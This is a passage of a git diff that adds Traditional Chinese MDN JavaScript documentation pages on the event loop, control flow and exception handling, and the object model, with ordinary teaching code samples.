+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&gt;&gt;</a></code></dt>
+ <dd>Each of these operators uses the ToInt32 algorithm internally. Since there is only one representation for 0 in the internal 32-bit integer type, <code>-0</code> will not survive a round trip after an inverse operation. E.g., both <code>Object.is(~~(-0), -0)</code> and <code>Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0)</code> evaluate to <code>false</code>.</dd>
+</dl>
+
+<p>Relying on <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> when the signedness of zeros is not taken into account can be hazardous. Of course, when the intent is to distinguish between <code>-0</code> and <code>+0</code>, it does exactly what's desired.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://dorey.github.io/JavaScript-Equality-Table/">JS Comparison Table</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/eventloop/index.html b/files/zh-tw/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..8bea43cf87
--- /dev/null
+++ b/files/zh-tw/web/javascript/eventloop/index.html
@@ -0,0 +1,109 @@
+---
+title: 並行模型和事件循環
+slug: Web/JavaScript/EventLoop
+tags:
+  - Event Loop
+  - JavaScript
+  - 進階
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>JavaScript 的並行模型（concurrency model）是基於「事件循環（event loop）」，其在運作上跟 C 或是 Java 有很大的不同。</p>
+
+<h2 id="執行環境概念（Runtime_concepts）">執行環境概念（Runtime concepts）</h2>
+
+<p>下面的內容解釋了一個理論模型，現代 JavaScript 引擎實作了及很大程度地最佳化了該圖所描述的語意。</p>
+
+<h3 id="視覺化呈現（Visual_representation）">視覺化呈現（Visual representation）</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="堆疊（Stack）">堆疊（Stack）</h3>
+
+<p>呼叫函式（Function）會形成一個 <em>frame</em> 的堆疊。</p>
+
+<pre class="brush: js">function foo(b) {
+  var a = 10;
+  return a + b + 11;
+}
+
+function bar(x) {
+  var y = 3;
+  return foo(x * y);
+}
+
+console.log(bar(7));
+</pre>
+
+<p>當呼叫 <code><font face="Consolas, Liberation Mono, Courier, monospace">bar</font></code> 時，會產生一個含有 <code>bar</code> 的參數及區域變數的 frame，而在 <code><font face="Consolas, Liberation Mono, Courier, monospace">bar</font></code> 呼叫了 <code>foo</code> 時，含有 <code>foo</code> 參數及變數的第二個 frame 就會被置於堆疊的最上面。當 <code>foo</code> 回傳後，最上面的 frame 會被抽離堆疊（僅留下 <font face="Consolas, Liberation Mono, Courier, monospace"><code>bar</code></font> 的呼叫 frame）。然後當 bar 返回之後，堆疊就會清空。</p>
+
+<h3 id="堆積（Heap）">堆積（Heap）</h3>
+
+<p>物件被分配在一個堆積中，一個只表示記憶體中的一個無結構的大區域。</p>
+
+<h3 id="佇列（Queue）">佇列（Queue）</h3>
+
+<p>JavaScript 執行環境包含一個訊息佇列，裡面是待處理的訊息，其中每個訊息都與一個 function 相關聯。當堆疊中有足夠空間時，會從訊息佇列拿取一個訊息進行處理，處理過程包含了呼叫相關聯的 function。只有當堆疊清空時，該訊息才算是完成處理。 </p>
+
+<h2 id="事件循環（Event_loop）">事件循環（Event loop）</h2>
+
+<p>之所以被稱為事件循環，是因為經常被以如下的方式實作：</p>
+
+<pre class="brush: js">while (queue.waitForMessage()) {
+  queue.processNextMessage();
+}</pre>
+
+<p>當沒有任何訊息時，<code>queue.waitForMessage</code> 會同步地等待新訊息到來。</p>
+
+<h3 id="「執行到完成（Run-to-completion）」">「執行到完成（Run-to-completion）」</h3>
+
+<p>每一個訊息處理完成之後才會執行下一個。當分析你的程式的時候，上述提供了優秀的特性，像是當一個函式開始執行時，他不會被取代且其他程式碼執行前先完成（而且可以修改這個函式操作的資料）。這特性與 C 不同，在 C 當中，當一個函式在執行緒中執行時，隨時可以被其他執行緒中的程式碼中止。</p>
+
+<p>這模型的缺點是：若是一個訊息要執行很久才完成，網頁應用程式會無法執行一些使用者的基本操作，如點擊按鈕或是捲動頁面。瀏覽器為了要緩解這問題，會跳出視窗「該動作回應時間過久（a script taking too long to run）」。良好的實作方式是縮短執行訊息，若可能的話，將一個訊息切成數個訊息執行。</p>
+
+<h3 id="添加訊息（Adding_messages）">添加訊息（Adding messages）</h3>
+
+<p>瀏覽器中，會添加訊息是由於事件的觸動，以及伴隨著事件的監聽者。若是沒有事件監聽者，則該事件的觸動就不會形成訊息，例如說一個點擊的動作伴隨著點擊事件監聽者就會形成一個新的訊息，其他類事件亦然。</p>
+
+<p>呼叫 {{domxref("WindowTimers.setTimeout", "setTimeout")}} 時有兩個參數：第一個是會被加入到佇列中的訊息，第二個參數為延遲時間（預設為 0）。若無其他訊息在佇列中，則這個訊息會在設定的延遲後立刻被處理。但若佇列內有其他訊息，<code>setTimeout</code> 的訊息必須等到其他訊息處理完。因此第二個時間參數只能表示為最少時間，而不是一個精準的時間。</p>
+
+<h3 id="零延遲（Zero_delays）">零延遲（Zero delays）</h3>
+
+<p>「零延遲」並非意味著回呼函式（callback function）會在 0 毫秒之後立刻執行。當使用延遲 0 毫秒參數來呼叫 {{domxref("WindowTimers.setTimeout", "setTimeout")}} 函式並非示程式會過了該段時間就會執行，而是會參考佇列中等待的訊息數量。<br>
+ 在下面範例中，「this is just a message」會寫在 setTimeout 的回呼訊息被執行之前，因為該時間段參數是要求執行環境處理所需的最少等待時間，而非一個保證時間。</p>
+
+<pre class="brush: js">(function() {
+
+  console.log('this is the start');
+
+  setTimeout(function cb() {
+    console.log('this is a msg from call back');
+  });
+
+  console.log('this is just a message');
+
+  setTimeout(function cb1() {
+    console.log('this is a msg from call back1');
+  }, 0);
+
+  console.log('this is the end');
+
+})();
+
+// "this is the start"
+// "this is just a message"
+// "this is the end"
+// "this is a msg from call back"
+// "this is a msg from call back1"
+</pre>
+
+<h3 id="多個執行環境的互相溝通（Several_Runtime_communicating_together）">多個執行環境的互相溝通（Several Runtime communicating together）</h3>
+
+<p>Web worker 或是跨來源網域（cross-origin）的 <code>iframe</code> 都會有各自的堆疊、堆積及訊息佇列。兩個特定的執行環境只能透過 <a href="/zh-TW/docs/DOM/window.postMessage"><code>postMessage</code></a> 這個方法來溝通。如果一個執行環境有監聽 <code>message</code> 事件時，另一個執行環境便可透過這個方法來新增一個訊息到該執行環境中。</p>
+
+<h2 id="絕不阻塞（Never_blocking）">絕不阻塞（Never blocking）</h2>
+
+<p>事件循環這個模型有一個非常有趣的特色就是永不阻塞，這與其他語言不一樣。I/O 的處理通常會經由事件以及回呼函式實作，因此當一個程式正在等待 <a href="/zh-TW/docs/Web/API/IndexedDB_API">IndexedDB</a> 的查詢結果或是回傳 <a href="/zh-TW/docs/Web/API/XMLHttpRequest">XHR</a> 請求時，依舊可以執行其他像是使用者輸入的動作。</p>
+
+<p>例外（exceptions）永遠存在，像是 <code>alert</code> 或是同步的 XHR，但好的實作方式就是避開他們。另外要注意個是，<a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">例外的例外一直是存在的</a>（但通常為實作時的錯誤而非其他情況）。</p>
diff --git a/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.html b/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.html
new file mode 100644
index 0000000000..fd658f1c77
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -0,0 +1,429 @@
+---
+title: 流程控制與例外處理
+slug: Web/JavaScript/Guide/Control_flow_and_error_handling
+tags:
+  - Beginner
+  - Guide
+  - JavaScript
+  - 初學者
+  - 指南
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
+
+<p class="summary">JavaScript 擁有許多陳述式，特別是流程控制的陳述式，你可以用這些陳述式來增加程式的互動性。這個章節將會概要介紹陳述式。</p>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements">JavaScript 參考</a>中有比本章更多關於陳述式的細節。 在 Javascript 程式碼中，分號（;）被用來隔開陳述式。</p>
+
+<p>任何 JavaScript 運算式也是一個陳述式。 有關運算式的完整資訊，請參閱<a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators">運算式與運算子</a>。</p>
+
+<h2 id="區塊陳述式">區塊陳述式</h2>
+
+<p>最基本的陳述式是「用於將陳述式分塊」的「區塊陳述式」。程式區塊被以一對大括號隔離開來：</p>
+
+<pre class="syntaxbox">{
+  陳述式 1;
+  陳述式 2;
+  .
+  .
+  .
+  陳述式 n;
+}
+</pre>
+
+<h3 id="範例"><strong>範例</strong></h3>
+
+<p>區塊陳述式經常與流程控制陳述式（例如：<code>if</code>、<code>for</code>、<code>while</code>）搭配使用。</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>在這裏，<code>{ x++; }</code> 是區塊陳述式。</p>
+
+<p><strong>重要</strong>：JavaScript 在 ECMAScript2015 （第六版）以前的版本並<strong>沒有</strong>區塊範圍的概念。 在區塊中的變數有效範圍是包含該區塊的函式或者是執行檔，並且在區塊外也可使用它們。換句話說，區塊並不定義了範圍。JavaScript 中的"獨立"區塊將會產生與 C 和 Java 中不同的效果。舉例來說：</p>
+
+<pre class="brush: js">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // 輸出 2
+</pre>
+
+<p>這裏輸出了 2 是因為區塊中變數 <code>var x</code> 陳述式擁有與區塊外的 <code>var x</code> 相同的有效範圍。在 C 或 Java，相同的程式碼將會輸出 1。</p>
+
+<p>從 ECMAScript2015 版本起， 使用 <code>let</code> 定義的變數範圍將被限制於區塊內。</p>
+
+<h2 id="條件陳述式">條件陳述式</h2>
+
+<p>條件陳述式是一些在指定條件爲真下將被執行的指令。 JavaScript 支援兩種條件陳述式： <code>if...else</code> 和 <code>switch</code>。</p>
+
+<h3 id="if...else_陳述式"><code>if...else</code> 陳述式</h3>
+
+<p><code>if 陳述式將在「邏輯判斷爲真」下執行接下來的一個陳述式</code>。選擇性的 <code>else</code> 陳述式將會在「邏輯判斷爲否」時被執行。 <code>if</code> 陳述式的用法看起來如下：</p>
+
+<pre class="syntaxbox">if (指定條件) {
+  陳述式 1;
+} else {
+  陳述式 2;
+}</pre>
+
+<p>指定條件可以是任何會回傳true或false的運算式。參見 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Boolean#Description">Boolean</a> 來進一步瞭解哪些運算式會回傳 <code>true</code> 及 <code>false</code>。假如指定條件爲 <code>true</code>，陳述式 1 會被執行；否則，陳述式 2 會被執行。陳述式 1 及陳述式 2 可以是任何陳述式，包含巢狀 <code>if</code> 陳述式。</p>
+
+<p>你也可以藉由 <code>else if</code> 來使用複合的陳述式來測試多種不同的條件，如下：</p>
+
+<pre class="syntaxbox">if (指定條件1) {
+  陳述式 1;
+} else if (指定條件 2) {
+  陳述式 2;
+} else if (指定條件 n) {
+  陳述式 n;
+} else {
+  最後陳述式;
+}
+</pre>
+
+<p>在多個條件中，只有第一個條件爲 true 的陳述式會被執行。若要執行多個陳述式，可以將陳述式包在同一個程式區塊中（<code>{ ... }</code>）。 通常來說，使用區塊陳述式是很好的習慣，尤其在使用巢狀 if 的時候:</p>
+
+<pre class="syntaxbox">if (指定條件) {
+  陳述式_1_執行_當_指定條件_爲_真;
+  陳述式_2_執行_當_指定條件_爲_真;
+} else {
+  陳述式_3_執行_當_指定條件_爲_否;
+  陳述式_4_執行_當_指定條件_爲_否;
+}
+</pre>
+
+<div>建議不要在以賦值作爲條件運算式，因為"賦值"常常被和"等於"搞混。 例如， 不要寫出如下面的程式碼:</div>
+
+<pre class="example-bad brush: js">if (x = y) {
+  /* 陳述式 */
+}
+</pre>
+
+<p>如果你真的需要以賦值作爲條件運算式，一種常見的方式是額外在賦值式外面加上一組括號。例如：</p>
+
+<pre class="brush: js">if ((x = y)) {
+  /* 陳述式 */
+}
+</pre>
+
+<h4 id="爲否的值">爲"否"的值</h4>
+
+<p>下列的值會被看作 false（也稱為 {{Glossary("Falsy")}} 值）</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>空字串(<code>""</code>)</li>
+</ul>
+
+<p>其他所有的值，包含所有物件，當被作為條件陳述式都會被視為 <code>true</code>。</p>
+
+<p>不要把"布林真假值"和"布林物件的真假值"弄混了。 例如:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // 這會是 True
+if (b == true) // 這會是 false
+</pre>
+
+<h4 id="範例_2"><strong>範例</strong></h4>
+
+<p>在下面的範例中，函式 <code>checkData</code> 回傳 <code>true</code> 當 <code>Text</code> 物件的長度爲三；否則， 顯示出 alert 並回傳 <code>false</code>。</p>
+
+<pre class="brush: js">function checkData() {
+  if (document.form1.threeChar.value.length == 3) {
+    return true;
+  } else {
+    alert("請輸入恰好三個字元. " +
+    document.form1.threeChar.value + " is not valid.");
+    return false;
+  }
+}
+</pre>
+
+<h3 id="switch_陳述式"><code>switch</code> 陳述式</h3>
+
+<p><code>switch</code> 陳述式允許程式依運算式的不同值來選擇不同標籤。 假如運算式和標籤匹配，程式會執行標籤對應的陳述式。範例如下:</p>
+
+<pre class="syntaxbox">switch (運算式) {
+  case 標籤 1:
+    陳述式 1
+    [break;]
+  case 標籤 2:
+    陳述式 2
+    [break;]
+    ...
+  default:
+    陳述式
+    [break;]
+}
+</pre>
+
+<p>程序首先尋找一個標籤與運算式的值匹配的 <code>case</code> 子句，然後將控制權轉移給該子句，執行與其相關的陳述式。 如果沒有找到匹配的標籤，程序將查找 <code>default</code> 子句（選擇性），如果找到，則將控制權轉移到該子句，執行關聯的陳述式。 如果沒有找到 <code>default</code> 子句，程序繼續在 <code>switch</code> 結束後的陳述式執行。 按照慣例，默認子句是最後一個子句，但並不硬性規定。</p>
+
+<p>與每個 <code>case</code> 子句相關聯的 <code>break</code> 陳述式（選擇性）確保程序在發現匹配的陳述式之後退出 <code>switch</code>，並在 <code>switch</code> 後的陳述式中繼續執行。 如果省略 <code>break</code>，程序將繼續在 <code>switch</code> 陳述式中的下一個陳述式執行。</p>
+
+<h4 id="範例_3"><strong>範例</strong></h4>
+
+<p>在下面範例中，如果變數 <code>fruittype</code> 為「Bananas」，程序將與「Bananas」匹配並執行相關陳述式。 當遇到 <code>break</code> 時，程序離開 <code>switch</code> 並執行 <code>switch</code> 後的陳述式。 如果省略 <code>break</code>，也將執行 case 「Cherries」的陳述式。</p>
+
+<pre class="brush: js">switch (fruittype) {
+  case "Oranges":
+    console.log("Oranges are $0.59 a pound.");
+    break;
+  case "Apples":
+    console.log("Apples are $0.32 a pound.");
+    break;
+  case "Bananas":
+    console.log("Bananas are $0.48 a pound.");
+    break;
+  case "Cherries":
+    console.log("Cherries are $3.00 a pound.");
+    break;
+  case "Mangoes":
+    console.log("Mangoes are $0.56 a pound.");
+    break;
+  case "Papayas":
+    console.log("Mangoes and papayas are $2.79 a pound.");
+    break;
+  default:
+   console.log("Sorry, we are out of " + fruittype + ".");
+}
+console.log("Is there anything else you'd like?");</pre>
+
+<h2 id="例外處理陳述式">例外處理陳述式</h2>
+
+<p>你可以用以 <code>throw</code> 陳述式丟出例外，並以 <code>try...catch</code> 陳述式處理之。</p>
+
+<ul>
+ <li><a href="#throw_statement"><code>throw</code> 陳述式</a></li>
+ <li><a href="#try...catch_statement"><code>try...catch</code> 陳述式</a></li>
+</ul>
+
+<h3 id="例外的形態">例外的形態</h3>
+
+<p>任何物件（object）都可以在 JavaScript 中被拋出。 然而，並非所有拋出的物件都相同。 雖然將數字或字串作為錯誤物件使用是相當常見的，但使用為此目的專門創造的一種例外物件類型通常更有效:</p>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects#Fundamental_objects">ECMAScript 例外</a></li>
+ <li>{{domxref("DOMException")}} and {{domxref("DOMError")}}</li>
+</ul>
+
+<h3 id="throw_陳述式"><code>throw</code> 陳述式</h3>
+
+<p>使用 <code>throw</code> 陳述式拋出例外。當拋出例外時，你要指定包含在要拋出物件中的值:</p>
+
+<pre class="syntaxbox">throw expression;
+</pre>
+
+<p>您可以拋出任何運算式，而不僅僅是特定類型的運算式。以下的程式碼會拋出一些不同類型的例外：</p>
+
+<pre class="brush: js">throw "Error2";   // 字串形態
+throw 42;         // 數字形態
+throw true;       // True/False
+throw {toString: function() { return "我是物件!"; } };
+</pre>
+
+<div class="note"><strong>備註：</strong>您可以在拋出例外時指定物件。 然後，可以在 catch 區塊中引用對象的屬性。</div>
+
+<pre class="brush: js">// 創建類型爲 UserException 的物件
+function UserException(message) {
+  this.message = message;
+  this.name = "UserException";
+}
+
+// 讓例外轉換成整齊的字串當它被當作字串使用時
+// （舉例來說:於 error console）
+UserException.prototype.toString = function() {
+  return this.name + ': "' + this.message + '"';
+}
+
+// 創建一個物件的實例並丟出它
+throw new UserException("Value too high");</pre>
+
+<h3 id="try...catch_陳述式"><code>try...catch</code> 陳述式</h3>
+
+<p><code>try...catch</code> 陳述式標記了一組要嘗試的陳述式，並在拋出例外時指定一個或多個響應。 如果例外被拋出，<code>try...catch</code> 陳述式捕獲它。</p>
+
+<p><code>try...catch</code> 陳述式包括一個 <code>try</code> 區塊，它包含一個或多個陳述式，零個或多個 <code>catch</code> 區塊，包含在 <code>try</code> 區塊中拋出例外時該做什麼的陳述式。 也就是說，你希望 <code>try</code> 區塊成功，如果它不成功，你希望控制權傳遞給 <code>catch</code> 區塊。 如果 <code>try</code> 區塊內的任何陳述式（或在 <code>try</code> 區塊內調用的函數中）拋出例外，則控制立即切換到 <code>catch</code> 區塊。 如果在 <code>try</code> 區塊中沒有拋出例外，則跳過 <code>catch</code> 區塊。 <code>finally</code> 區塊在 <code>try</code> 和 <code>catch</code> 區塊執行後執行，但在 <code>try...catch</code> 陳述式之後的陳述式之前執行。</p>
+
+<p>以下的範例使用 <code>try...catch</code> 陳述式。該範例調用基於傳遞給函數的值並從陣列中檢索月份名稱的函數。如果值不對應於月份數（1-12），則會拋出一個例外，其值為 "InvalidMonthNo"，並且 <code>catch</code> 區塊中的陳述式將 <code>monthName</code> 變數設置為 <code>unknown</code>。</p>
+
+<pre class="brush: js">function getMonthName(mo) {
+  mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+  var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul",
+                "Aug","Sep","Oct","Nov","Dec"];
+  if (months[mo]) {
+    return months[mo];
+  } else {
+    throw "InvalidMonthNo"; //throw 關鍵字在這裏被使用
+  }
+}
+
+try { // statements to try
+  monthName = getMonthName(myMonth); // 函式可以丟出例外
+}
+catch (e) {
+  monthName = "unknown";
+  logMyErrors(e); // 將例外傳至例外處理機制
+}
+</pre>
+
+<h4 id="The_catch_Block" name="The_catch_Block"><code>catch</code> 區塊</h4>
+
+<p>你可以使用 <code>catch</code> 區塊來處理 <code>try</code> 區塊可能丟出的例外。</p>
+
+<pre class="syntaxbox">catch (catchID) {
+  陳述式
+}
+</pre>
+
+<p><code>catch</code> 區塊指定用來保存 <code>throw</code> 陳述式所丟出的值的標識符（前面語法中的 <code>catchID</code>） 您可以使用此標識符獲取有關被拋出的例外的信息。 JavaScript 在進入<code>catch</code> 區塊時創建此標識符; 標識符僅持續 <code>catch</code> 區塊的持續時間；在 <code>catch</code> 區塊完成執行後，標識符不再可用。</p>
+
+<p>例如，下列的程式碼中丟出了一個例外，當例外發生後，控制權被轉交給 <code>catch</code> 區塊。</p>
+
+<pre class="brush: js">try {
+  throw "myException"; // 產生例外
+}
+catch (e) {
+  // 用於處理例外的陳述式
+  logMyErrors(e); // 將例外物件傳給 error handler
+}
+</pre>
+
+<h4 id="finally_區塊"><code>finally</code> 區塊</h4>
+
+<p><code>finally</code> 區塊中包含在 <code>try</code> 和 <code>catch</code> 區塊執行之後但在 <code>try...catch</code> 陳述式之後的陳述式之前 執行的陳述式。 無論是否拋出例外，<code>finally</code> 區塊都會執行。 如果拋出例外，則即使沒有 <code>catch</code> 區塊處理例外，<code>finally</code> 區塊中的陳述式也會執行。</p>
+
+<p>您可以使用 <code>finally</code> 區塊來使腳本在發生例外時正常地結束。例如，您可能需要釋放腳本中綁定的資源。 在以下示例中，打開一個文件，然後執行使用該文件的陳述式（伺服器端 JavaScript 允許您訪問文件）。 如果在打開文件時拋出例外，<code>finally</code> 區塊會在腳本結束之前關閉文件。</p>
+
+<pre class="brush: js">openMyFile();
+try {
+  writeMyFile(theData); // 可能產生例外
+} catch(e) {
+  handleError(e); // 處理可能發生的例外
+} finally {
+  closeMyFile(); // 總是在 try 結束後關閉檔案
+}
+</pre>
+
+<p>如果 <code>finally</code> 區塊有返回值，那麼該值將成為整個 <code>try-catch-finally</code> 過程的返回值，而捨棄 <code>try</code> 和 <code>catch</code> 區塊中的任何返回陳述式：</p>
+
+<pre class="brush: js">function f() {
+  try {
+    console.log(0);
+    throw "bogus";
+  } catch(e) {
+    console.log(1);
+    return true; // 這個回傳會被擱置
+                 // 直到 finally 區塊結束
+    console.log(2); // 不會到達這裏
+  } finally {
+    console.log(3);
+    return false; // 覆寫先前的 "return"
+    console.log(4); // 不會到達這裏
+  }
+  // "return false" 在這裏被執行
+  console.log(5); // 不會到達這裏
+}
+f(); // console 0, 1, 3; 會回傳false
+</pre>
+
+<p><code>finally</code> 區塊覆寫返回值也適用於在 <code>catch</code> 區塊中拋出或重新拋出的例外（即便在<code>catch</code> 中再次丟出例外，<code>catch</code> 所屬的 <code>finally</code> 區塊還是會被執行）：</p>
+
+<pre class="brush: js">function f() {
+  try {
+    throw "bogus";
+  } catch(e) {
+    console.log('caught inner "bogus"');
+    throw e; // 此處的 throw 陳述式將被擱置到
+             // finally區塊結束
+  } finally {
+    return false; // 覆寫先前的"throw"
+  }
+  // "return false" 在此被執行
+}
+
+try {
+  f();
+} catch(e) {
+  // 這裏永遠不可能到達因為在f函式中catch的throw
+  // 被finally中的return覆寫了
+  console.log('caught outer "bogus"');
+}
+
+// 輸出 -&gt; caught inner "bogus"</pre>
+
+<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">巢狀 try...catch 陳述式</h4>
+
+<p>你可以使用一個或多個的 <code>try...catch</code> 陳述式。 假如一個內層的<code>try...catch</code> 陳述式不具有 <code>catch</code> 區塊， 它將必須要有 <code>finally</code> 區塊與及封閉的 <code>try...catch</code> 陳述式來檢測是否有符合的例外。</p>
+
+<h3 id="使用_Error_物件">使用 <code>Error</code> 物件</h3>
+
+<p>根據錯誤的類型，您可以使用 "name" 和 "message" 屬性來獲取更精確的資訊。"name" 提供了錯誤所屬的類別（class）（例如，"DOMException" 或 "Error"），而 "message" 通常提供藉由將錯誤物件轉換為字串所獲得的更簡潔的資訊。參見<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch#Nested_try-blocks">巢狀 try 區塊</a>位於 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> 參考資料頁面。</p>
+
+<p>假如您要丟出自定義的例外， 為了方便使用這些屬性（例如，如果你的 <code>catch</code> 區塊並不要區分你自己的例外和系統的），你可以使用 <code>Error</code> 構造子。舉例來說：</p>
+
+<pre class="brush: js">function doSomethingErrorProne () {
+  if (ourCodeMakesAMistake()) {
+    throw (new Error('The message'));
+  } else {
+    doSomethingToGetAJavascriptError();
+  }
+}
+....
+try {
+  doSomethingErrorProne();
+}
+catch (e) {
+  console.log(e.name); // 紀錄 'Error'
+  console.log(e.message); // 紀錄 'The message' 或者其他 JavaScript 例外的資訊)
+}</pre>
+
+<h2 id="Promises_容器">Promises 容器</h2>
+
+<p>從 ECMAScript2015 起，JavaScript 支援 {{jsxref("Promise")}} 物件，允許您控制延遲和異步操作的流程。</p>
+
+<p><code>Promise</code> 有以下幾種狀態:</p>
+
+<ul>
+ <li><em>pending</em>：等待中，為初始之狀態，即不是 fulfilled 也不是 rejected。</li>
+ <li><em>fulfilled</em>：已實現，表示操作成功完成。</li>
+ <li><em>rejected</em>：已拒絕，表示操作失敗。</li>
+ <li><em>settled</em>：已完成，表示 Promise 狀態為已實現或已拒絕，但不是等待中。</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<h3 id="使用_XHR_載入圖檔">使用 XHR 載入圖檔</h3>
+
+<p>這裏有個簡單的範例，使用了 <code>Promise</code> 物件與及 <code><a href="/zh-TW/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> 來載入 MDN GitHub<a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> repository 中的一張圖檔。你也可以<a href="http://mdn.github.io/promises-test/">觀看結果</a>。 每一步都有註解來讓您慢慢理解 Promise 物件與及 XHR 架構。 下面的版本沒有註解，但藉由觀察 <code>Promise</code> 物件的變動您或許可以對 promise 物件有所了解:</p>
+
+<pre class="brush: js">function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+    request.onload = function() {
+      if (request.status === 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:'
+                     + request.statusText));
+      }
+    };
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+    request.send();
+  });
+}</pre>
+
+<p>以獲得更多資訊，查看 {{jsxref("Promise")}} 參照頁面，以及<a href="/zh-TW/docs/Web/JavaScript/Guide/Using_promises">使用 Promises</a> 教學。</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
diff --git a/files/zh-tw/web/javascript/guide/details_of_the_object_model/index.html b/files/zh-tw/web/javascript/guide/details_of_the_object_model/index.html
new file mode 100644
index 0000000000..5b7872afce
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/details_of_the_object_model/index.html
@@ -0,0 +1,720 @@
+---
+title: 深入了解物件模型
+slug: Web/JavaScript/Guide/Details_of_the_Object_Model
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
+
+<p>JavaScript 是一種基於原型，而不是基於類的物件導向語言。由於這個根本的區別，使它在如何創建物件的層級結構，以及如何繼承屬性和它的值上，顯得有點模糊。本文將闡明這個問題。</p>
+
+<p>本文假設您已經有點 JavaScript 的基礎，並且用 JavaScript 的函數創建過簡單的物件。</p>
+
+<h2 id="class-based_vs_prototype-based_languages" name="class-based_vs_prototype-based_languages">基於類 (Class-Based) 與 基於原型 (Prototype-Based) 語言的比較</h2>
+
+<p>基於類的物件導向語言，比如 Java 和 C++，是建基於兩種概念之上：類和實例。</p>
+
+<ul>
+ <li><em>類（Class）</em>：定義了某一種物件所擁有的屬性（可以將 Java 中的方法和<span id="tran_1_15">屬性值</span>，以及 C++ 中的成員視為屬性）。類是抽象的事物，而不是其所描述的物件中的特定成員。例如 <code>Employee</code> 類可以用來代表所有僱員。</li>
+ <li><em>實例（Instance）</em>：是類產生的實體，或者說，是它的一個成員。例如， <code>Victoria</code> 可以是 <code>Employee</code> 類的一個實例，表示一個特定的僱員個體。實例具有其類完全一致的屬性（不多也不少）。</li>
+</ul>
+
+<p>基於原型的語言（例如 JavaScript）並不存在這種區別：它只有物件。基於原型的語言具有所謂<em>原型物件（Prototypical Object）</em>的概念。新物件在初始化時以原型物件為範本獲得屬性。任何物件都可以指定其自身的屬性，在創建時或運行時都可以。而且，任何物件都可以關聯為另一個物件的<em>原型（Prototype）</em>，從而允許後者共用前者的屬性。</p>
+
+<h3 id="定義類">定義類</h3>
+
+<p>在基於類的語言中，類被定義在分開的<em>類定義（Class Definition）</em>。在類定義中，允許定義特殊的方法，稱為<em>建構函數（Constructor）</em>，用以創建該類的實例。建構函數可以指定實例屬性的初始值，以及它的初始化處理。使用 <code>new</code> 操作符和建構函數來創建類的實例。</p>
+
+<p>JavaScript 也遵循類似的模型，但卻沒有類定義。JavaScript 使用建構函數來定義物件的屬性及初始值，所有的 JavaScript 函數都可以作為建構函數。使用 <code>new</code> 操作符來建立實例。</p>
+
+<h3 id="子類_(Subclass)_和繼承_(Inheritance)">子類 (Subclass) 和繼承 (Inheritance)</h3>
+
+<p>基於類的語言是通過類定義來構建類的層級結構。在類定義中，可以指定新的類為一個現存的類的<em>子類</em>。子類將繼承超類的全部屬性，並可以添加新的屬性或者修改繼承的屬性。例如，假設 <code>Employee</code> 類只有 <code>name</code> 和 <code>dept</code> 屬性，而 <code>Manager</code> 是 <code>Employee</code> 的子類並添加了 <code>reports</code> 屬性。這時，<code>Manager</code> 類的實例將具有三個屬性：<code>name，</code><code>dept 和</code> <code>reports</code>。</p>
+
